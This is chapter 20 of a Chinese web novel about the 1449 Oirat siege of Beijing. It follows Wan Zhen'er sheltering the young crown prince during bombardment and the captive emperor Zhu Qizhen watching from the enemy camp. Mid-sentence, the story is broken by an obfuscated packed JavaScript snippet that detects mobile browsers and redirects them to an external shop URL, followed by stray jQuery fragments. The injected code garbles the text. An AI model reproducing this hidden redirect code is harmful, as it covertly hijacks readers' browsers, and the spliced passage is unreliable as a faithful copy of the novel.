20. 不见长安

作品:《小我十七岁的皇帝

    京师戒严,除却城外埋伏的军士,城内亦有巡夜人,凡有作奸犯科者,一律严惩。


    因此当夜色降临,偌大的一个京城,竟然奇异地寂静起来。


    直到炮火声骤然响起。


    尖锐的、撕裂空气的呼啸,伴随着巨大的爆炸声,震得整座房子都在颤抖。土墙簌簌地往下掉灰。


    万贞儿几乎是瞬间从浅睡中惊醒。她猛地坐起身,手已经摸向腰间的短刀。转头看向小太子。他也被惊醒了,但这一次并不叫喊,只是稚嫩的一双黑眼睛里带着惊恐。


    “别怕,我在这。”万贞儿伸手去抱他,将他紧紧搂在怀里。小太子的身体在微微发抖,小手紧紧攥着她的衣襟,但没有哭。


    炮火声仍在继续,中间隐隐约约还夹杂着喊杀声、马蹄声、金属碰撞的铿锵声,窗外的漆黑夜色有一角为火光的红所染,看着不详。


    王月妞和王姑婆也醒了。两人脸色煞白,立刻收拾了简单的吃食东西,去开地窖。


    几人迅速躲进地窖里,地窖门盖上,那爆炸声稍稍闷了些,但仍不绝于耳。


    万贞儿抱着小太子,轻轻拍着他的背,安抚似的。


    小太子原先身体还紧绷着,在这温暖的怀抱里,渐渐放松了些。隔了一会儿,轻轻开口问:“姑姑,是什么在响?”


    “是枪炮,打仗用的东西。”她极力让自己的声音听起来平静。


    “像炮竹?”小太子问。


    万贞儿“嗯”了一声,道:“有点像,但要更加厉害,能伤人。这应该是我们的神机营?听说有枪、大炮什么的,很厉害。”


    她试图转移小太子的注意力,要是一直担惊受怕,对小孩子不好。


    果真是小孩子,听见之后,问她什么是枪、什么是神机营。其实万贞儿也不大知道,只听过,没见过,但也努力描述勾勒了一下,讲故事一样。


    小太子似懂非懂,说:“以后回宫我要去看看那个。”


    “好呀。到时候你看了,讲给姑姑听。”


    又是一阵密集的爆炸声,有灰尘伴随着簌簌而落,万贞儿把身子往前倾,遮在小太子头上,以防灰尘迷了他的眼。王月妞察觉到,也凑过来,两人像伞一样和围着。


    这些声响时密时疏,不知何时才能尽。


    小太子问:“什么时候才算结束呢?”


    几个大人都沉默了,王月妞叹了口气。万贞儿顿了一下,才缓缓说:“会结束的,像黑夜一样,不管怎么漫长,总会天亮的。”


    小太子点点头,不再说话。


    夜色中的轰鸣仍在持续,倘若再往德胜门外走些,就能嗅见呛人的火药味以及难闻的血腥味。


    附近的寒鸦为这罕见的战火所惊醒,鸣叫着振翅逃开,往外城更远处飞。


    偶尔轰隆声停歇,这寒鸦声就特别令人心悸。


    瓦剌驻地的朱祁镇听见那寒鸦声,眉头拧得更深。


    他披着一件半旧的羊皮袄子,站在帐篷外。寒风像刀子一样刮在脸上,刺得生疼。但站得久了,也就被吹得麻木了。他在这寒风里静静望着北京城的方向。


    那座他生活了二十多年的城池,在这夜色里其实看不太真切。朱祁镇望着那头,心里涌起一阵荒谬的感觉。他堂堂大明天子,这座城池的主人,臣民的君父,竟然在这座城的危急存亡之秋,站在敌人的营地里,看着敌人攻打自己的京师,像一个最无关的旁观者。


    不,连旁观者都不如。他是筹码,是人质,是也先手里用来要挟那座城池的工具。


    这个认知让他浑身发冷。


    前两天,也先又玩了一次老把戏。押着他到德胜门下,要求城里的官员出来迎接太上皇。他的算盘也打得精,若能诱出几个重要人物,擒获了,就是更大的筹码。


    可结果呢?


    城中只出来了两个低级官员,朱祁镇连名字都没什么印象的那种,个个脸上带着风萧萧兮易水寒,壮士一去兮不复还的神情。估摸着出来前已经和家里人交代过后事。


    到了瓦剌营地,瞧见朱祁镇,眼神十分微妙,说了些“社稷为重”“太上皇保重身体”的套话,然后就没有然后了。


    于谦没出现。朱祁镇那个已经登基称帝的弟弟朱祁钰,更不可能出现。


    也先的脸色很难看。他原本以为,就算新皇帝不来,至少于谦这个兵部尚书,现在的实际主事者总会露面。可于谦连面都没露,只派了两个无足轻重的小官来应付。


    这种小鱼小虾没什么意思,于是也先挥了挥手,让他们走了,自己则掉头与瓦剌心腹商量攻城之事。


    朱祁镇心里五味杂陈。他松了口气,于谦和朱祁钰没上当,不至于再多个俘虏,这是好事。可同时,一股深切的失落也涌上来。


    他们……真的不在乎他了?


    母后呢?钱皇后呢?还有他那个三岁的儿子见深?


    想到钱皇后,朱祁镇心里更是一揪。那个女子,性子最是柔弱,在宫里时总是以他为天,说话轻轻柔柔,从来不动怒生气。如今他被虏敌营,钱氏随军出征的两个兄弟俱已阵亡,京师被围,向来柔弱的她不知道会哭成什么样。


    还有母后,母后年纪大了,却忽然遭遇如此大变,悲痛之余仍将自己压箱底的、珍爱多年的珠宝献出试图赎他。先前他一看也先母亲鬓边的凤钗就认出了,那正是从前父皇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002738|193143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赐给她的,她视若珍宝的那一只钗。


    朱祁镇不敢再想下去,他只能强迫自己转移注意力,去想眼前的战事。


    也先派人出击攻城,可是这声响,却始终在城门附近,并没有更远。这样说来,似乎没攻下来?


    大明的各位先帝爷爷,请保佑京城无恙,瓦剌大败。


    他心里念咒一样的念了个遍。


    身边负责看管他的瓦剌人劝道:“再吹风,要生病了,进帐去罢。”


    朱祁镇叹了口气,打起精神道:“干戈不止,无论是哪方都有伤亡。我又如何能安睡。一时担忧城中人,一时又担心伯颜帖木儿会不会受伤。”


    瓦剌人听了他的话,脸色稍稍好转:“这也不是我们能左右的,你要是病了,我不好交代。”


    “是我的疏忽,让你为难了,这就进去。”


    朱祁镇正往帐子内走,忽然听见许多马蹄声,扭头看见远处瓦剌部分骑兵灰头土脸的,极其安静的回来,心中不由得一喜。


    这种样子,定是没占得便宜!


    朱祁镇心里这样想,但身在敌营,连笑都不敢笑,仍做出一副忧心忡忡的样子,回到帐中,终于能够阖眼睡一会儿。


    瓦剌这次确实没占到便宜,本来欲进攻德胜门,结果还没挨到城墙,在外城的土城,就挨了埋伏。不知道明军怎么就埋伏在这里,神机营的枪炮全用上了,弄得折损了好些人马。


    此后两日,又试探性进攻了其余城门,虽也有小胜,但始终无法攻破城门。在探马回禀明军的勤王军已经很近,不过百里时,也先终于下定决心,拔营回去。


    虽然有点可惜,不过他们从前草原上打仗也是这样,抢掠一番,然后跑回去,并不算很丢脸。大不了等来年草黄时再出来攻一回。


    瓦剌大军拔营,朱祁镇也得跟着他们回去。


    他在这里有一辆马车,两个照顾的人,和一个烧水做饭的婆子。伯颜帖木儿也过来送他上马车。“兄弟对不住,你还是得跟我们走。”


    朱祁镇笑笑:“我不会让你难做。”


    然后很乖巧地爬上马车,钻进车厢前,最后回望一眼。


    晨光中,这座城池的轮廓清晰了许多。隐隐约约能看见城门高大的阙楼。


    举目见日,不见长安。


    小时候听太傅讲《世说新语》,讲到晋明帝幼时回答“长安与日孰远”的故事,只觉无聊。什么叫太阳和长安哪一个更远?


    在这一瞬间他忽然明白了,为何长安比太阳还要遥远。


    他的长安,就在眼前。可他已经回不去了。


    车轮辘辘,向北驶去。他坐在车里,眼角有泪痕。